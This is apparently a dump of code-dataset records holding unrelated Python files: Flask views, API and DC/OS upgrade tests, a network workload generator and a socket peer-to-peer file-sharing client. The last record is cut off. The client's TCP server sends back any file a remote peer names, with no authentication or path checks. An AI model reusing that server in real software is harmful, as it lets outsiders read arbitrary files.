'change.html',\n forms=forms,\n select_mappings=json.dumps(select_mappings),\n view_only=view_only,\n close_session_link=\"/new_session/\" + redirect.replace(\"/\", \"-\")\n )\n if view_only:\n session.close()\n \n return rendered\n\n\n@app.route('/change/', methods=[\"POST\", \"GET\"])\n@flask_login.login_required\ndef change_rt(what):\n return view_change(name_to_cls[what], \"/change/\"+what, False, action=flask.request.method)\n\n\ndef check_history(f):\n @functools.wraps(f)\n def check_history_cond(what):\n if what == \"history\" and (not flask_login.current_user or not flask_login.current_user.get_id()):\n return \"You can't see history without being logged in, Get back\"\n return f(what)\n return check_history_cond\n\n\n@app.route('/view/', methods=[\"GET\"])\n@check_history\ndef view_rt(what):\n return view_change(name_to_cls[what], \"/view/\"+what, True, action=\"GET\")\n\n\n@app.route('/search/', methods=[\"GET\", \"POST\"])\n@check_history\ndef search(what):\n session = Session(engine, autoflush=False)\n cls_ = name_to_cls[what]\n MyForm = model_form(cls_, db_session=session)\n model = cls_()\n form = MyForm(flask.request.form, model)\n id_col = name_to_id_column[what]\n\n if flask.request.method == \"GET\":\n models = {getattr(m, id_col): m for m in session.query(cls_).all()}\n select_mappings = generate_select_mappings(session, models)\n\n return flask.render_template(\n \"search.html\",\n select_mappings=json.dumps(select_mappings),\n form=form\n )\n else:\n q = session.query(cls_)\n conds = [k for k, v in flask.request.form.items(\n ) if v != \"---\" and \"button\" not in k and v]\n conds_values = [k for k in conds if \"date\" not in k]\n conds_dates = list(\n zip(*[flask.request.form[k].split(\" - \") for k in conds if \"date\" in k]))\n\n dates_keys = [k for k in conds if \"date\" in k]\n\n form.populate_obj(model)\n\n def format_date(x): return datetime.datetime.strptime(\n x, '%m/%d/%Y').strftime('%d %B %Y ')\n\n q = q.filter(and_(getattr(cls_, k) == getattr(model, k)\n for k in conds_values))\n q = q.filter(and_(getattr(cls_, k) >= format_date(\n conds_dates[0][e]) for e, k in enumerate(dates_keys)))\n q = q.filter(and_(getattr(cls_, k) <= format_date(\n conds_dates[1][e]) for e, k in enumerate(dates_keys)))\n models = q.all()\n\n session.rollback()\n # This method would be much better \n # as it would allow users to search and then immedietely modify objects\n # but unfortunately, it doesn't work, some problems in the frameworks\n # and I don't have time to debug it\n # return view_change(cls_, redirect=\"index\", view_only=True, models=models, action=\"GET\")\n \n # so I just show a very basic search results here\n attrs = [str(k).split(\".\")[1] for k in cls_.__table__.columns]\n return flask.render_template(\"search_results.html\", models=models, attrs=attrs)\n\n\n@app.route(\"/new_session/\")\n@flask_login.login_required\ndef new_session_linked(linked_from):\n get_or_create_session(end_if_existst=True)\n return flask.redirect(linked_from.replace(\"-\", \"/\"))\n\n\n@app.route(\"/end_session\")\n@flask_login.login_required\ndef end_session():\n user = flask_login.current_user.get_id()\n if user in SESSIONS:\n session = SESSIONS[user]\n try:\n session.commit()\n session.flush()\n session.close()\n del SESSIONS[user]\n result = \"OK\"\n except Exception as e:\n session.rollback()\n session.close()\n del SESSIONS[user]\n raise e\n else:\n result = \"OK\"\n return result\n\n@app.route('/index')\ndef index():\n user = flask_login.current_user.get_id() if flask_login.current_user else \"\"\n return flask.render_template(\"index.html\", user=user, tables=tables_names)\n\n@app.route(\"/\")\ndef index2():\n return flask.redirect(\"/index\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"220663066","text":"import json\nimport pytest\nfrom random import randint\nfrom os.path import dirname, isfile, join, abspath\nfrom dotenv import load_dotenv\nimport random\nimport string\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\n\n_ENV_FILE = join(dirname(__file__), '.env_')\n\nif isfile(_ENV_FILE):\n load_dotenv(dotenv_path=_ENV_FILE)\n\nfrom app import app #create_app\n\n#Genereta a Randomic Name\nuserid = 0\nusername = ''.join(random.choice(string.ascii_lowercase) for i in range(7))\n\n\n@pytest.fixture(scope='session')\ndef client(): \n #flask_app = create_app('testing') \n client = app.test_client()\n return client\n\ndef test_users_Post_response_201(client): \n global userid\n global username\n doc = {\n 'name': 'Test User'+username,\n 'cpf': '01234567890',\n 'email': 'user@test.com',\n 'phone_number': '11900001111'\n }\n response = client.post('/api/users', json=doc)\n\n userid = response.json['id']\n #assert response.json == 'sda'\n assert response.status_code == 201\n\ndef test_users_getAll_response_200(client): \n response = client.get('/api/users')\n \n #status_code = 200\n assert response.status_code == 200 \n #assert len(response.json) > 0\n \n\ndef test_users_getOne_response_200(client): \n global userid\n response = client.get('/api/users/'+str(userid))\n\n #status_code = 200 & not is empty\n assert response.status_code == 200\n assert len(response.json) > 0\n\n\ndef test_users_getOne_response_404(client): \n response = client.get('/api/users/9999')\n #status_code = 404 \n assert response.status_code == 404\n\n\ndef test_users_Put_response_200(client): \n global userid\n doc = {\n 'name': 'Name Test Updated',\n 'email': 'test@test.com'\n }\n response = client.put('/api/users/'+str(userid), json=doc)\n assert response.status_code == 200 \n\ndef test_users_Delete_response_200(client): \n global userid\n response = client.delete('/api/users/'+str(userid))\n\n #status_code = 200 & not is empty\n assert response.status_code == 200\n assert len(response.json) > 0 ","sub_path":"user_api/tests/test_users.py","file_name":"test_users.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"153902825","text":"# virtual network\n#line topology\n\nfrom random import randrange\nimport numpy as np\n\nfp = open(\"virtual1213.txt\", \"a\")\n\ntimeslots = 5000\narrtime = 0\nfor i in range(timeslots):\n num_of_arrivals = np.random.poisson(0.5) #number of arrivals in this timeslot\n print( \"num of arrivals in\", i, \"timeslot: \", num_of_arrivals)\n for f in range(num_of_arrivals):\n fp.write(str(int(arrtime))+'\\n')\n print(arrtime)\n \n #lifetime = np.random.poisson(30) #lifetime\n lifetime = randrange(20, 40)+1\n fp.write(str(int(lifetime))+'\\n')\n print(lifetime)\n \n node_num = randrange(1,4)+1 # node num\n fp.write(str(int(node_num))+'\\n')\n print(node_num)\n \n for j in range (node_num):\n node_cap = randrange(30)+1 #CPU requirement\n fp.write(str(int(node_cap))+'\\n')\n print(node_cap)\n for k in range(node_num-1):\n bw = randrange(10,30)+1 #BW requirement\n fp.write(str(int(bw))+'\\n')\n print(bw)\n arrtime = arrtime + 1\nfp.close()\n","sub_path":"generate virtual networks.py","file_name":"generate virtual networks.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"97599313","text":"\"\"\"\n\nWARNGING: This is a destructive process and you cannot go back\n\n=========================================================\nThis test has 4 input parameters (set in the environment)\n=========================================================\nRequired:\n TEST_LAUNCH_CONFIG_PATH: path to a dcos-launch config for the cluster that will be upgraded.\n This cluster may or may not exist yet\n TEST_UPGRADE_INSTALLER_URL: The installer pulled from this URL will upgrade the aforementioned cluster.\nOptional\n TEST_CREATE_CLUSTER: if set to `true`, a cluster will be created. Otherwise it will be assumed\n the provided launch config is a dcos-launch artifact\n TEST_UPGRADE_CONFIG_PATH: path to a YAML file for injecting parameters into the config to be\n used in generating the upgrade script\n\"\"\"\nimport logging\nimport os\nimport pprint\nimport uuid\n\nimport dcos_test_utils\nimport dcos_test_utils.dcos_api_session\nimport dcos_test_utils.upgrade\nimport pytest\nimport retrying\nimport yaml\nfrom dcos_test_utils.helpers import CI_CREDENTIALS, marathon_app_id_to_mesos_dns_subdomain\n\nlog = logging.getLogger(__name__)\n\nTEST_APP_NAME_FMT = 'upgrade-{}'\n\n\n@pytest.fixture(scope='session')\ndef viplisten_app():\n return {\n \"id\": '/' + TEST_APP_NAME_FMT.format('viplisten-' + uuid.uuid4().hex),\n \"cmd\": '/usr/bin/nc -l -p $PORT0',\n \"cpus\": 0.1,\n \"mem\": 32,\n \"instances\": 1,\n \"container\": {\n \"type\": \"MESOS\",\n \"docker\": {\n \"image\": \"alpine:3.5\"\n }\n },\n 'portDefinitions': [{\n 'labels': {\n 'VIP_0': '/viplisten:5000'\n }\n }],\n \"healthChecks\": [{\n \"protocol\": \"COMMAND\",\n \"command\": {\n \"value\": \"/usr/bin/nslookup viplisten.marathon.l4lb.thisdcos.directory && pgrep -x /usr/bin/nc\"\n },\n \"gracePeriodSeconds\": 300,\n \"intervalSeconds\": 60,\n \"timeoutSeconds\": 20,\n \"maxConsecutiveFailures\": 10\n }]\n }\n\n\n@pytest.fixture(scope='session')\ndef viptalk_app():\n return {\n \"id\": '/' + TEST_APP_NAME_FMT.format('viptalk-' + uuid.uuid4().hex),\n \"cmd\": \"/usr/bin/nc viplisten.marathon.l4lb.thisdcos.directory 5000 < /dev/zero\",\n \"cpus\": 0.1,\n \"mem\": 32,\n \"instances\": 1,\n \"container\": {\n \"type\": \"MESOS\",\n \"docker\": {\n \"image\": \"alpine:3.5\"\n }\n },\n \"healthChecks\": [{\n \"protocol\": \"COMMAND\",\n \"command\": {\n \"value\": \"pgrep -x /usr/bin/nc && sleep 5 && pgrep -x /usr/bin/nc\"\n },\n \"gracePeriodSeconds\": 300,\n \"intervalSeconds\": 60,\n \"timeoutSeconds\": 20,\n \"maxConsecutiveFailures\": 10\n }]\n }\n\n\n@pytest.fixture(scope='session')\ndef healthcheck_app():\n # HTTP healthcheck app to make sure tasks are reachable during the upgrade.\n # If a task fails its healthcheck, Marathon will terminate it and we'll\n # notice it was killed when we check tasks on exit.\n return {\n \"id\": '/' + TEST_APP_NAME_FMT.format('healthcheck-' + uuid.uuid4().hex),\n \"cmd\": \"python3 -m http.server 8080\",\n \"cpus\": 0.5,\n \"mem\": 32.0,\n \"instances\": 1,\n \"container\": {\n \"type\": \"DOCKER\",\n \"docker\": {\n \"image\": \"python:3\",\n \"network\": \"BRIDGE\",\n \"portMappings\": [\n {\"containerPort\": 8080, \"hostPort\": 0}\n ]\n }\n },\n \"healthChecks\": [\n {\n \"protocol\": \"HTTP\",\n \"path\": \"/\",\n \"portIndex\": 0,\n \"gracePeriodSeconds\": 5,\n \"intervalSeconds\": 1,\n \"timeoutSeconds\": 5,\n \"maxConsecutiveFailures\": 1\n }\n ],\n }\n\n\n@pytest.fixture(scope='session')\ndef dns_app(healthcheck_app):\n # DNS resolution app to make sure DNS is available during the upgrade.\n # Periodically resolves the healthcheck app's domain name and logs whether\n # it succeeded to a file in the Mesos sandbox.\n healthcheck_app_id = healthcheck_app['id'].lstrip('/')\n return {\n \"id\": '/' + TEST_APP_NAME_FMT.format('dns-' + uuid.uuid4().hex),\n \"cmd\": \"\"\"\nwhile true\ndo\n printf \"%s \" $(date --utc -Iseconds) >> $MESOS_SANDBOX/$DNS_LOG_FILENAME\n if host -W $TIMEOUT_SECONDS $RESOLVE_NAME\n then\n echo SUCCESS >> $MESOS_SANDBOX/$DNS_LOG_FILENAME\n else\n echo FAILURE >> $MESOS_SANDBOX/$DNS_LOG_FILENAME\n fi\n sleep $INTERVAL_SECONDS\ndone\n\"\"\",\n \"env\": {\n 'RESOLVE_NAME': marathon_app_id_to_mesos_dns_subdomain(healthcheck_app_id) + '.marathon.mesos',\n 'DNS_LOG_FILENAME': 'dns_resolve_log.txt',\n 'INTERVAL_SECONDS': '1',\n 'TIMEOUT_SECONDS': '1',\n },\n \"cpus\": 0.5,\n \"mem\": 32.0,\n \"instances\": 1,\n \"container\": {\n \"type\": \"DOCKER\",\n \"docker\": {\n \"image\": \"branden/bind-utils\",\n \"network\": \"BRIDGE\",\n }\n },\n \"dependencies\": [healthcheck_app_id],\n }\n\n\n@pytest.fixture(scope='session')\ndef onprem_cluster(launcher):\n if launcher.config['provider'] != 'onprem':\n pytest.skip('Only onprem provider is supported for upgrades!')\n return launcher.get_onprem_cluster()\n\n\n@pytest.fixture(scope='session')\ndef dcos_api_session(onprem_cluster, launcher):\n session = dcos_test_utils.dcos_api_session.DcosApiSession(\n 'http://' + onprem_cluster.masters[0].public_ip,\n [m.public_ip for m in onprem_cluster.masters],\n [m.public_ip for m in onprem_cluster.private_agents],\n [m.public_ip for m in onprem_cluster.public_agents],\n 'root',\n dcos_test_utils.dcos_api_session.DcosUser(CI_CREDENTIALS),\n exhibitor_admin_password=launcher.config['dcos_config'].get('exhibitor_admin_password'))\n session.wait_for_dcos()\n return session\n\n\n@retrying.retry(\n wait_fixed=(1 * 1000),\n stop_max_delay=(120 * 1000),\n retry_on_result=lambda x: not x)\ndef wait_for_dns(dcos_api, hostname):\n \"\"\"Return True if Mesos-DNS has at least one entry for hostname.\"\"\"\n hosts = dcos_api.get('/mesos_dns/v1/hosts/' + hostname).json()\n return any(h['host'] != '' and h['ip'] != '' for h in hosts)\n\n\ndef get_master_task_state(dcos_api, task_id):\n \"\"\"Returns the JSON blob associated with the task from /master/state.\"\"\"\n response = dcos_api.get('/mesos/master/state')\n response.raise_for_status()\n master_state = response.json()\n\n for framework in master_state['frameworks']:\n for task in framework['tasks']:\n if task_id in task['id']:\n return task\n\n\ndef app_task_ids(dcos_api, app_id):\n \"\"\"Return a list of Mesos task IDs for app_id's running tasks.\"\"\"\n assert app_id.startswith('/')\n response = dcos_api.marathon.get('/v2/apps' + app_id + '/tasks')\n response.raise_for_status()\n tasks = response.json()['tasks']\n return [task['id'] for task in tasks]\n\n\ndef parse_dns_log(dns_log_content):\n \"\"\"Return a list of (timestamp, status) tuples from dns_log_content.\"\"\"\n dns_log = [line.strip().split(' ') for line in dns_log_content.strip().split('\\n')]\n if any(len(entry) != 2 or entry[1] not in ['SUCCESS', 'FAILURE'] for entry in dns_log):\n message = 'Malformed DNS log.'\n log.debug(message + ' DNS log content:\\n' + dns_log_content)\n raise Exception(message)\n return dns_log\n\n\n@pytest.fixture(scope='session')\ndef setup_workload(dcos_api_session, viptalk_app, viplisten_app, healthcheck_app, dns_app):\n # TODO(branden): We ought to be able to deploy these apps concurrently. See\n # https://mesosphere.atlassian.net/browse/DCOS-13360.\n dcos_api_session.marathon.deploy_app(viplisten_app)\n dcos_api_session.marathon.ensure_deployments_complete()\n # viptalk app depends on VIP from viplisten app, which may still fail\n # the first try immediately after ensure_deployments_complete\n dcos_api_session.marathon.deploy_app(viptalk_app, ignore_failed_tasks=True)\n dcos_api_session.marathon.ensure_deployments_complete()\n\n dcos_api_session.marathon.deploy_app(healthcheck_app)\n dcos_api_session.marathon.ensure_deployments_complete()\n # This is a hack to make sure we don't deploy dns_app before the name it's\n # trying to resolve is available.\n wait_for_dns(dcos_api_session, dns_app['env']['RESOLVE_NAME'])\n dcos_api_session.marathon.deploy_app(dns_app, check_health=False)\n dcos_api_session.marathon.ensure_deployments_complete()\n\n test_apps = [healthcheck_app, dns_app, viplisten_app, viptalk_app]\n test_app_ids = [app['id'] for app in test_apps]\n\n tasks_start = {app_id: sorted(app_task_ids(dcos_api_session, app_id)) for app_id in test_app_ids}\n log.debug('Test app tasks at start:\\n' + pprint.pformat(tasks_start))\n\n for app in test_apps:\n assert app['instances'] == len(tasks_start[app['id']])\n\n # Save the master's state of the task to compare with\n # the master's view after the upgrade.\n # See this issue for why we check for a difference:\n # https://issues.apache.org/jira/browse/MESOS-1718\n task_state_start = get_master_task_state(dcos_api_session, tasks_start[test_app_ids[0]][0])\n return test_app_ids, tasks_start, task_state_start\n\n\n@pytest.fixture(scope='session')\ndef upgraded_dcos(dcos_api_session, launcher, setup_workload, onprem_cluster):\n \"\"\" By invoking this fixture, a given test or fixtre is executed AFTER the upgrade\n \"\"\"\n upgraded_user_config = dict()\n if 'TEST_UPGRADE_CONFIG_PATH' in os.environ:\n with open(os.environ['TEST_UPGRADE_CONFIG_PATH'], 'r') as f:\n upgraded_user_config = yaml.load(f.read())\n dcos_test_utils.upgrade.upgrade_dcos(\n dcos_api_session,\n onprem_cluster,\n dcos_api_session.get_version(),\n os.environ['TEST_UPGRADE_INSTALLER_URL'],\n upgraded_user_config,\n launcher.config['platform'])\n\n\n@pytest.mark.usefixtures('upgraded_dcos')\n@pytest.mark.skipif(\n 'TEST_UPGRADE_INSTALLER_URL' not in os.environ,\n reason='TEST_UPGRADE_INSTALLER_URL must be set in env to upgrade a cluster')\nclass TestUpgrade:\n def test_marathon_app_tasks_survive(self, dcos_api_session, setup_workload):\n test_app_ids, tasks_start, _ = setup_workload\n tasks_end = {app_id: sorted(app_task_ids(dcos_api_session, app_id)) for app_id in test_app_ids}\n log.debug('Test app tasks at end:\\n' + pprint.pformat(tasks_end))\n assert tasks_start == tasks_end\n\n def test_mesos_task_state_remains_consistent(self, dcos_api_session, setup_workload):\n test_app_ids, tasks_start, task_state_start = setup_workload\n task_state_end = get_master_task_state(dcos_api_session, tasks_start[test_app_ids[0]][0])\n assert all(item in task_state_end.items() for item in task_state_start.items())\n\n @pytest.mark.xfail\n def test_app_dns_survive(self, dcos_api_session, dns_app):\n marathon_framework_id = dcos_api_session.marathon.get('/v2/info').json()['frameworkId']\n dns_app_task = dcos_api_session.marathon.get('/v2/apps' + dns_app['id'] + '/tasks').json()['tasks'][0]\n dns_log = parse_dns_log(dcos_api_session.mesos_sandbox_file(\n dns_app_task['slaveId'],\n marathon_framework_id,\n dns_app_task['id'],\n dns_app['env']['DNS_LOG_FILENAME']))\n dns_failure_times = [entry[0] for entry in dns_log if entry[1] != 'SUCCESS']\n assert len(dns_failure_times) == 0, 'Failed to resolve Marathon app hostname {hostname} at least once' \\\n 'Hostname failed to resolve at these times:\\n{failures}'.format(\n hostname=dns_app['env']['RESOLVE_NAME'],\n failures='\\n'.join(dns_failure_times))\n","sub_path":"advanced_tests/test_upgrade.py","file_name":"test_upgrade.py","file_ext":"py","file_size_in_byte":11941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"463274415","text":"'''\nCreated on May 29, 2013\n\n@package: ally core http\n@copyright: 2011 Sourcefabric o.p.s.\n@license: http://www.gnu.org/licenses/gpl-3.0.txt\n@author: Gabriel Nistor\n\nProvides the HTTP method name.\n'''\n\nfrom ally.api import config\nfrom ally.container.ioc import injected\nfrom ally.design.processor.attribute import requires, defines\nfrom ally.design.processor.context import Context\nfrom ally.design.processor.execution import Abort\nfrom ally.design.processor.handler import HandlerProcessor\nfrom ally.http.spec import server\nimport logging\n\n# --------------------------------------------------------------------\n\nlog = logging.getLogger(__name__)\n\n# --------------------------------------------------------------------\n\nclass Register(Context):\n '''\n The register context.\n '''\n # ---------------------------------------------------------------- Required\n invokers = requires(list)\n \nclass Invoker(Context):\n '''\n The invoker context.\n '''\n # ---------------------------------------------------------------- Defined\n methodHTTP = defines(str, doc='''\n @rtype: string\n The HTTP method name.\n ''')\n # ---------------------------------------------------------------- Required\n method = requires(int)\n location = requires(str)\n \n# --------------------------------------------------------------------\n\n@injected\nclass MethodHTTPHandler(HandlerProcessor):\n '''\n Implementation for a processor that provides the HTTP method name.\n '''\n \n mappings = {\n config.GET: server.HTTP_GET,\n config.DELETE: server.HTTP_DELETE,\n config.INSERT: server.HTTP_POST,\n config.UPDATE: server.HTTP_PUT\n }\n # The configuration methods to HTTP methods mapping.\n \n def __init__(self):\n assert isinstance(self.mappings, dict), 'Invalid mappings %s' % self.mappings\n super().__init__(Invoker=Invoker)\n\n def process(self, chain, register:Register, **keyargs):\n '''\n @see: HandlerProcessor.process\n \n Provides the HTTP method name.\n '''\n assert isinstance(register, Register), 'Invalid register %s' % register\n if not register.invokers: return\n \n aborted = []\n for invoker in register.invokers:\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n \n invoker.methodHTTP = self.mappings.get(invoker.method)\n if invoker.methodHTTP is None:\n log.error('Cannot use because the method \\'%s\\' is not a valid HTTP method, at:%s',\n invoker.method, invoker.location)\n aborted.append(invoker)\n \n if aborted: raise Abort(*aborted)\n","sub_path":"components/ally-core-http/ally/core/http/impl/processor/assembler/method_http.py","file_name":"method_http.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"569672524","text":"import os\n\ndef update_file(key, status):\n os.makedirs('data/selected', exist_ok=True)\n src = f'data/full/{key}.jpg'\n dst = f'data/selected/{key}.jpg'\n if status == 0:\n if not os.path.isfile(dst):\n print('link:', key)\n os.link(src, dst)\n else:\n if os.path.isfile(dst):\n print('unlink:', key)\n os.remove(dst)\n","sub_path":"wallpainter/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"635747092","text":"import socket\nimport multiprocessing\nimport sys\nimport time\nimport threading\nimport pyautogui\n\n\n\n\nprint(socket.gethostbyname(socket.gethostname())) # have tp be inside the directory of the program or else it will be masked\nTCPport=input('enter ur custom tcp port')\nUDPport = input('enter ur custom udp port')\n\n\n\nserver_ip=input('enter the ip of the server you are connecting to')\n\n\n# waits for connection and with a tcp port, and transfer files if needed\ndef ConnectWithClient():\n \n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n \n server_address = (socket.gethostbyname(socket.gethostname()), int(TCPport)) # 111\n print('starting up on %s port %s' % server_address)\n sock.bind(server_address)\n \n sock.listen(1)\n\n while True:\n print('Waiting for a connection')\n connection, client_address = sock.accept()\n\n try:\n print('Connection From: ' + str(client_address)) \n data = connection.recv(200)\n print('Transfering \"%s\"' % data) \n try:\n with open(data.decode(), 'r+') as f:\n data = f.read().rstrip() \n \n connection.sendall(data.encode())\n \n except:\n data='DOWNLOAD-ERROR, file dont exist'\n connection.sendall(data.encode())\n\n except socket.error as msg:\n print('Error') \n finally:\n connection.close()\n\n\n\n\n\ndef ConnectWithServer():\n \n client_host = '0.0.0.0'\n \n\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except socket.error:\n print('Failed to create socket')\n sys.exit()\n\n s.bind((client_host, int(UDPport)))\n\n \n port = 11112\n\n while 1:\n\n \n #options=pyautogui.confirm('Enter option Gfg', buttons =['choice a', 'choice b', 'choice c','choice d'])\n\n\n msg = input('Enter message to send')\n\n if not msg:\n msg=''\n if msg==\"download\":\n msg1 = input('enter the TCP port of the person holding the file')\n while len(msg1)<1:\n msg1= input(\"you cant just enter blank TCP you dummy\") \n tempTCP(msg1)\n\n \n else:\n try:\n s.sendto(msg.encode(), (server_ip, port))\n\n d = s.recvfrom(1024)\n reply = d[0]\n addr = d[1]\n \n if reply.decode()=='please enter your username':\n msg = input('Enter unique username')\n\n\n s.sendto(msg.encode(), (server_ip, port))\n d = s.recvfrom(1024)\n reply = d[0]\n s.sendto(TCPport.encode(), (server_ip, port))\n \n\n print('Server reply: ' + str(reply))\n\n except socket.error as msg:\n print('Error')\n \n \ndef tempTCP(destination):\n \n tempsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n \n \n host= input('host?')\n print(int(destination))\n server_address = (host, int(destination))\n tempsock.connect(server_address)\n alert= input(\"enter name of text file\")\n while len(alert)<1:\n alert= input(\"you cant just enter nothing you dummy\") \n tempsock.sendall(alert.encode())\n \n counter=0\n string=''\n \n while True:\n \n \n \n data = tempsock.recv(50) # length\n \n if not data:\n break\n if data.decode()=='DOWNLOAD-ERROR, file dont exist':\n print(data.decode())\n elif len(data)<50:\n print('last chunk'+ data.decode(),' at index'+str(counter))\n string=string+data.decode()\n print('File downloaded')\n stdout = sys.stdout\n \n try:\n sys.stdout = open(alert, 'w')\n print(string)\n\n finally:\n sys.stdout.close() # close file.txt\n sys.stdout = stdout\n \n break \n else:\n print('Received '+ data.decode(),' at index'+str(counter))\n counter=counter+len(data)\n string=string+data.decode()\n except:\n \n print('Wrong port, make sure you enter the right port number ') \n \n tempsock.close()\n \n\n finally:\n \n tempsock.close()\n \n\n\n\n\n\n\n\n # creating multiple processes\n\nproc1 = threading.Thread(target=ConnectWithServer)\nproc2 = threading.Thread(target=ConnectWithClient)\n\n# Initiating process 1\n\nproc1.start()\n\n# Initiating process 2\n\nproc2.start()\n\n# Waiting until proc1 finishes\n\nproc1.join()\n\n# Waiting until proc2 finishes\n\nproc2.join()","sub_path":"project6/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"616714173","text":"#milestone 19 新增動態贈禮通知設定\nimport json\nimport requests\nimport pymysql\nimport time\nimport string\nimport pytest\nfrom assistence import api\nfrom assistence import initdata\nfrom assistence import dbConnect\nfrom pprint import pprint\n\nenv = 'QA'\ntest_parameter = {}\nheader = {}\n\ndef setup_module():\n initdata.set_test_data(env, test_parameter)\n \n\ndef getTestData():\n #token, nonce, condition, body, expected\n testData = [\n ('broadcaster_token', 'broadcaster_nonce', '', '', {'status': 2, 'comment': True, 'track': True, 'live': True, 'postGift': True}),\n ('broadcaster_token', 'broadcaster_nonce', 'changeRole', '', {'status': 2, 'comment': False, 'track': False, 'live': True, 'postGift': False}),\n ('broadcaster_token', 'broadcaster_nonce', 'setting', {'comment': False, 'track': False, 'live': False, 'postGift': False}, {'status': 2, 'comment': False, 'track': False, 'live': False, 'postGift': False}),\n ('user_token', 'user_nonce', '', '', {'status': 2, 'comment': False, 'track': False, 'live': True, 'postGift': False}),\n ('user_token', 'user_nonce', 'setting', {'comment': False, 'track': False, 'live': True, 'postGift': True}, {'status': 2, 'comment': False, 'track': False, 'live': True, 'postGift': True}),\n ('user_token', 'user_nonce', 'setting', {'comment': False, 'track': False, 'live': False}, {'status': 2, 'comment': False, 'track': False, 'live': False, 'postGift': True}),\n ('user_token', 'user_nonce', 'setting', {'comment': False, 'track': False, 'live': True, 'postGift': None}, {'status': 2, 'comment': False, 'track': False, 'live': True, 'postGift': True}),\n ('err_token', 'err_nonce', 'setting', {'comment': False, 'track': False, 'live': True, 'postGift': True}, {'status': 4}),\n ('user_token', 'user_nonce', 'setting', {}, {'status': 4})\n ]\n return testData\n\n'''\n・直播主首次預設皆為true;一般user只有live是true\n・token/nonce錯誤\n・body為空值\n・body內key值不存在\n・body內有key無value\n'''\nclass TestNotificationSetting():\n mid = ''\n def changeRole(self, roleType):\n header['Content-Type'] = 'application/json'\n header['X-Auth-Token'] = test_parameter['backend_token']\n header['X-Auth-Nonce'] = test_parameter['backend_nonce'] \n changelist = [self.mid] \n api.change_roles(test_parameter['prefix'], header, changelist, roleType) #一般用戶:5;直播主：4\n\n def setup_class(self):\n sqlList = ['truncate table user_notification_settings']\n dbConnect.dbSetting(test_parameter['db'], sqlList)\n header['X-Auth-Token'] = test_parameter['backend_token']\n header['X-Auth-Nonce'] = test_parameter['backend_nonce'] \n self.mid = api.search_user(test_parameter['prefix'], test_parameter['broadcaster_acc'], header) \n changelist = [self.mid] \n api.change_roles(test_parameter['prefix'], header, changelist, 4) #一般用戶:5;直播主：4\n\n @pytest.mark.parametrize(\"token, nonce, condition, body, expected\", getTestData())\n def testSetting(self, token, nonce, condition, body, expected):\n header['X-Auth-Token'] = test_parameter[token]\n header['X-Auth-Nonce'] = test_parameter[nonce]\n apiNmae = '/api/v2/identity/notifySetting'\n if condition == 'changeRole':\n self.changeRole('5') \n elif condition == 'setting':\n res = api.apiFunction(test_parameter['prefix'], header, apiNmae, 'post', body)\n assert res.status_code // 100 == expected['status']\n if expected['status'] == 2:\n res = api.apiFunction(test_parameter['prefix'], header, apiNmae, 'get', None)\n restext = json.loads(res.text)\n restext['data']['comment'] == expected['comment']\n restext['data']['track'] == expected['track']\n restext['data']['live'] == expected['live']\n restext['data']['postGift'] == expected['postGift']\n if condition == 'changeRole':\n self.changeRole('4') \n","sub_path":"identity/test_notifySetting.py","file_name":"test_notifySetting.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"527711463","text":"from collections import defaultdict\nclass Solution(object):\n def groupStrings(self, strings):\n \"\"\"\n :type strings: List[str]\n :rtype: List[List[str]]\n \"\"\"\n d = defaultdict(list)\n for s in strings:\n pattern = tuple(map(lambda x : (ord(x)-ord(s[0]))%26,s))\n d[pattern].append(s)\n #print s,pattern\n \n res = []\n for key in d.keys():\n res.append(d[key])\n return res\n","sub_path":"Group-Shifted-Strings.py","file_name":"Group-Shifted-Strings.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"206753075","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport openpyxl as px\n\n\n# Funcion para lectura y obtencion de datos de inicio\n# La funcion devuelve la demanda de los clientes, capacidad de los vehiculos de primer nivel y segundo nivel, capacidad de los centros locales y regionales\ndef read_data(n_clientes, n_productos, n_periodos, n_vehiculos_p, n_vehiculos_s, n_centrosregionales, n_centroslocales):\n # total_columnas = variable que me permite moverme entre los indices de las hojas de datos\n total_columnas = n_productos*n_periodos\n\n # lectura y obtencion de datos de los clientes\n datos = px.load_workbook('datos.xlsx') # carga de la hoja de excel de datos\n hoja_clientes = datos['clientes'] # seleccionar la hoja clientes como hoja activa\n # Obtencion de las demandas de la tabla de la hoja clientes segun la cantidad de clientes, productos y periodos\n demanda_clientes = [[hoja_clientes.cell(row=i, column=j).value for j in range(2, 2+total_columnas)] for i in range(3, 3+n_clientes)]\n\n # lectura y obtencion de datos de los vehiculos de primer y segundo nivel\n hoja_vehiculos = datos['vehiculos'] # seleccionar la hoja vehiculos como hoja activa\n # Obtencion de las demandas de los vehiculos de primer nivel de la primera tabla en la hoja vehiculos segun la cantidad de vehiculos de primer nivel y periodos\n capacidad_vehiculos_p = [[hoja_vehiculos.cell(row=i, column=j).value for j in range(2, 2+n_periodos)] for i in range(2, 2+n_vehiculos_p)]\n # Obtencion de las demandas de los vehiculos de segundo nivel de la segunda tabla en 